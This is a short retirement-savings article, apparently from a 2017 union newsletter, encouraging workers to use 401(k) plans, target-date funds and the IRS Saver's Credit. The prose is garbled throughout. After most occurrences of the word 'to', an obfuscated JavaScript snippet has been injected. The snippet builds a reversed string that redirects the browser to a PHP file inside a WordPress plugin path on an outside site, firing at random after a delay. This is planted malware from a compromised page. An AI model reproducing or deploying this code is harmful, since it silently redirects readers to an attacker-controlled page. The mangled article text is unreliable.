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Originally appeared in TransNews Spring 2017

Save Now for Retirement

Some 36 per­cent of American workers have less than $1,000 saved for their retirement and even worse, they have no financial plan $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to enhance that.

It’s well-known that Social Security payouts will not be able $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to cover retirement expenses (especially with the high cost of healthcare) and many multi-employer plans are in trouble or doing poorly. If a 401(k) plan is available $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to you, you need $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to take advantage of it and improve your chances for a more comfortable retirement. It’s never $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}too late $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to take a hard look at your finances and devise a plan $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to start putting money away.

A 401(k) account will help you save on your tax bill while generating a nice little nest egg.  Just be careful not $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to invest all of those eggs in one basket. Today many plans offer target date funds which provide a mixed assets portfolio based on your age and the date you want $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to retire. In early years, your risk capacity will be higher. But as you near retirement age, it will become increasingly conservative and your exposure will gear more $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}towards capital-preservation assets, such as government and index-linked bonds.

Making contributions $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to a 401(k) are easy through employee payroll deduction plans. You may also qualify for an IRS Saver’s Credit which rewards low and moderate income taxpayers who are working hard and need more help saving for retirement with a federal income tax credit on their tax return – just for investing for retirement through an IRA, 403(b), 457 and/or 401(k) plan (additional information can be found on the IRS website).

Your 401(k) contributions and investment gains will not be taxed until distributed. Meanwhile you’ll be earning compounding interest over time which allows small regular contributions $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to grow $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to significant retirement savings. And be aware that retirement assets can be carried from one employer $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to another.

Having a 401(k) plan warrants serious consideration and appropriate action. Seek the advice of a financial planner or call your provider for additional information. It could make all the difference $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to the health of your account and the quality of your lifestyle in the Golden Years.

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